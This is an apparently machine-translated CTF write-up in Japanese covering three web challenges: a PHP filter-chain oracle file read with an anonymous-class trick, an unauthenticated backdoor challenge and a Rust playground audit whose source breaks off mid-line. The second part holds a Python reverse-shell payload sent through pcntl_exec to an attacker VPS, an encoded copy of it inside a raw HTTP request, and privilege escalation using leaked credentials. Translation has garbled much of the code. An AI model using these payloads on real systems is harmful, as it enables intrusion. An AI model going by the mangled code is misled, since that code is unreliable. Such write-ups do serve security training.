web
ezphp
タイトル説明:衛星通信技術に焦点を当てた研究チームは、データ送信の効率とセキュリティを改善するためのコミュニケーションシステムを改善するために取り組んでいます。チームは、通信システムの開発を改善するためにPHP 8.3.2を使用することにしました。
テストポイント:PHPフィルターチェーンオラクル
PHPフィルターチェーン—— Oracleベースのファイルリーディング攻撃
参照:https://xz.aliyun.com/t/12939?time__1311=mqmhqix%2bxfod7dloagkwepsazhg%3d4d#toc-16
質問のソースコードは次のとおりです
?php
highlight_file(__ file__);
//flag.php
if(isset($ _ post ['f'])){
echo hash_file( 'md5'、$ _post ['f']);
}
?
ここで入手可能なプロジェクト:https://github.com/synacktiv/php_filter_chains_oracle_exploit/
テストポイント:PHPフィルターチェーンを使用- Oracleベースのファイルリーディング攻撃で、EXP実行を生成します。この質問は、PHPバージョン番号が条件を満たしているだけであることを促します。
ペイロードを実行する、ここでさらに数回実行する必要があるかもしれません
python3 filters_chain_oracle_exploit.py - ターゲットhttp://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/---file flag.php -parameter f
アクセス /flag.php?ezphpphp8生成されたソースコードを読み取ります
?php
if(isset($ _ get ['ezphpphp8'])){
highlight_file(__ file__);
} それ以外{
die( 'no');
}
$ a=new class {
function __construct()
{
}
関数getFlag()
{
System( 'cat /flag');
}
};
Unset($ a);
$ a=$ _get ['ezphpphp8'];
$ f=new $ a();
$ f-getflag();
?
この質問は、PHPバージョンがPHP 8.3.2であることを促しています。 PHPの公式Webサイトにアクセスして、Changelogを表示し、GH-13097を直接ロックします。
ローカルデバッグ、匿名のクラスを使用してフラグを読むことができ、ペイロードを構築できることがわかりました
コンテナをローカルに作成します。
Docker run -ITD -P 1238:80 PHP:8.3.2 -APACHE
docker exec -itコンテナID /bin /bash
flag.phpとテストコードを次のように配置します。
?php
if(isset($ _ get ['ezphpphp8'])){
//highlight_file(__ file__);
} それ以外{
//die( 'no');
}
$ anonymous=new class {
function __construct()
{
}
関数getFlag()
{
System( 'cat /flag');
}
};
$ a=get_class($ anonymous);
echo urlencode($ a);
echo '\ n';
Unset($ anonymous);
//echo get_class($ a)。 ':今、あなたは私を見ます.';
$ a=urldecode( 'class%40anonymous%00%2fvar%2fwww%2fhtml%2fflag.php%3a7%240');
$ f=new $ a();
$ f-getflag();
var_dump($ f);
//新しい例外を投げる(
//get_class($ anonymous)。今、あなたは\ 't!'をしないでください
//e_user_error
//);
GetFlagメソッドを実行できることがわかります。
expを構築する:
/flag.php?ezphpphp8=anonymous
/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$1
/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$0
unauth
ログインポートを起動します
Webサイトパス/www.zipの管理者とのパスワードが漏れました:
www.zip漏れたソースコードは次のとおりです。
?php
if(!isset($ _ server ['php_auth_user'])){
ヘッダー( 'www-authenticate: Basic Realm='制限領域'');
ヘッダー( 'http/1.0 401承認');
Echo 'Xiao Mingは運用およびメンテナンスエンジニアであり、最近Webサイトにバグがありました。 ';
出口;
} それ以外{
$ validuser='admin';
$ validPass='2E525E29E465F45D8D7C56319FE73036';
if($ _server ['php_auth_user']!=$ validuser || $ _server ['php_auth_pw']!=$ validpass){
ヘッダー( 'www-authenticate: Basic Realm='制限領域'');
ヘッダー( 'http/1.0 401承認');
エコー「無効な資格情報」;
出口;
}
}
@eval($ _ get ['cmd']);
highlight_file(__ file__);
?
簡単な監査を行うことができ、コマンドを実行できますが、それらのほとんどは禁止されています。
ログインした後、パスワードCMDを搭載したTrojanの文があり、多くの機能を禁止しました。テスト後、PCNTL_EXECを使用してシェルをリバウンドできることがわかりました。
//パスパラメーター、リバウンドシェルを投稿します
1=pcntl_exec( '/usr/bin/python'、array( '-c'、 'import socket、subprocess、os; s=socket.socket(socket.af_inet、socket.sock_stream、socket.sol_tcp); s.connect((' vpsアドレス」、ポートpot) sh '、' -i ']);')
最終的に、あなたは権利を上げる必要があります。私はsuidを試しましたが、失敗しました。パスワードが管理者ユーザーパスワードである構成ファイルconfig.inc.phpがあることがわかりました。
! - ?php
#MySQLデータベースに接続するのに問題があり、以下のすべての変数が正しい場合
#localhostから127.0.0.1に「db_server」変数を変更してみてください。ソケットのために問題を修正します。
#修正について@digininjaに感謝します。
#使用するデータベース管理システム
$ dbms='mysql';
#$ dbms='pgsql'; //現在無効になっています
#データベース変数
#Warning: db_databaseで指定されているデータベースは、セットアップ中に完全に削除されます。
#DVWA専用のデータベースを使用してください。
#
#mariadbを使用している場合は、rootを使用できません。専用のDVWAユーザーを作成する必要があります。
#これの詳細については、readme.mdを参照してください。
$ _DVWA=array();
$ _DVWA ['db_server']='127.0.0.1';
$ _dvwa ['db_database']='dvwa';
$ _dvwa ['db_user']='root';
$ _DVWA ['DB_PassWord']='B90E0086D8B1165403DE6974C4167165';
#PostgreSQL/PGSQLデータベースの選択でのみ使用。
$ _dvwa ['db_port']='5432';
#recaptcha設定
#「不安定なCaptcha」モジュールに使用されます
#独自のキーを生成する必要がありますat: https://www.google.com/recaptcha/admin
$ _dvwa ['recaptcha_public_key']='6ldk7xitaazzaajqtfl7fu6i-0apl8khhieat_yjg';
$ _dvwa ['recaptcha_private_key']='6ldk7xitazzaal_uw9yxvuopoihpzlfw2k1n5nvq';
#デフォルトのセキュリティレベル
#各セッションのセキュリティレベルのデフォルト値。
#デフォルトは「不可能」です。これを「低」、「中」、「高」、または不可能」に設定することをお勧めします。
$ _DVWA ['Default_Security_Level']='Impossion';
#デフォルトのphpidsステータス
#各セッションでPHPIDSステータス。
#デフォルトは「無効」です。これを「有効」または「無効」のいずれかに設定できます。
$ _DVWA ['Default_Phpids_Level']='Disabled';
#verbose phpidsメッセージ
#これを有効にすると、WAFがブロックされたリクエストでリクエストをブロックした理由が示されます。
#デフォルトは「無効」です。これを「真」または「偽」のいずれかに設定できます。
$ _DVWA ['default_phpids_verbose']='false';
? -
パケットはシェルをリバウンドし、コマンドをインタラクティブシェルに実行し、取得したパスワードB90E0086D8B1165403DE6974C4167165を使用して管理者ユーザーに切り替えてフラグを読み取ります
得る/?cmd=pcntl_exec( '/usr/bin/python'、['-c'、base64_decode( 'aw1wb3j0ihnvy2tldcxzdwjwcm9jz) xnzlg9zo3m9c29ja2v0lnnvy2tldchzb2nrzxququzfsu5fvcxzb2nrzxquu09ds19tvfjfqu0po3muy29ubm vjdcgoijey4xmjMumtizljeyismtiznckpo29zlmr1cdiocy5mawxlbm8okwktsgb3muzhvwmizlmz pbgvubygpldepo29zlmr1cdiocy5mawxlbm8okswyktpbxbvcnqgchr5oybwdhkuc3bhd24oinnoiik='))); HTTP/1.0
host: xxx.com
pragma: no-cache
Cache-Control: No-Cache
Authorization: BASIC YWRTAW46MMU1MJVLMJLLNDY1ZJQ1ZHKN2M1NJMXOWZLNZMWMZY=
アップグレード-Insecure-Requests: 1
www-authenticate: Basic Realm='制限領域
user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10_15_7)AppleWebkit/537.36(Khtml、geckoのような)Chrome/123.0.0.0 Safari/537.36
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.7
Accept-Encoding: gzip、deflate
Accept-Language: ZH-CN、ZH; Q=0.9、JA; Q=0.8、VI; Q=0.7
cookie: phpsessid=
Connection:閉じます
遊び場
RUSTソースコード監査の質問は、次のようにソースコードを提供します、この質問は基本的に解決されます
#[macro_use] extern crateロケット;
STD:FSを使用します。
STD:FS:3360FILEを使用します。
STD:IO:3360WRITEを使用します。
STD:Process:Commandを使用します。
RAND:3360RNGを使用します。
#[得る('/')]
fn index() - string {
fs:read_to_string( 'main.rs')。unwrap_or(string:default()))
}
#[post( '/rust_code'、data='code')]
fn run_rust_code(code: string) - string {
code.contains( 'std'){
return 'error: stdは許可されていません'.to_string();
}
//ランダムな5長さファイル名を生成します
let file_name=rand:3360thread_rng()
.sample_iter(rand:3360distributions:alphanumeric)
.take(5)
.map(char: -from)
.COLLECT:STRING();
let let ok(mut file)=file:3360create(format!( 'playground/{}。rs'、file_name)){
file.write_all(code.as_bytes());
}
OK(build_output)=command:New( 'rustc')の場合
.arg(format!( 'playground/{}。rs'、file_name)))
.arg( '-C')
.arg( 'debuginfo=0')
.arg( '-C')
.arg( 'opt-level=3')
.arg( '-o')
.arg(format!( 'playground/{}'、file_name))
.output(){
if!build_output.status.success(){
FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));
return String:from_utf8_lossy(build_output.stderr.as_slice())。to_string();
}
}
FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));
OK(output)=command:New(format!( 'playground/{}'、file_name))の場合
.output(){
if!output.status.success(){
FS:REMOVE_FILE(format!( 'playground/{}'、file_name));
return string:from_utf8_lossy(output.stderr.as_slice())。to_string();
} それ以外{
FS:REMOVE_FILE(format!( 'playground/{}'、file_name));
return string:from_utf8_lossy(output.stdout.as_slice())。to_string();
}
}
return string:default();
}
#[打ち上げ]
fn rocket() - _ {
figment=rocket:config3360:figment()
.merge(( 'address'、 '0.0.0.0'));
Rocket:Custom(figment).Mount( '/'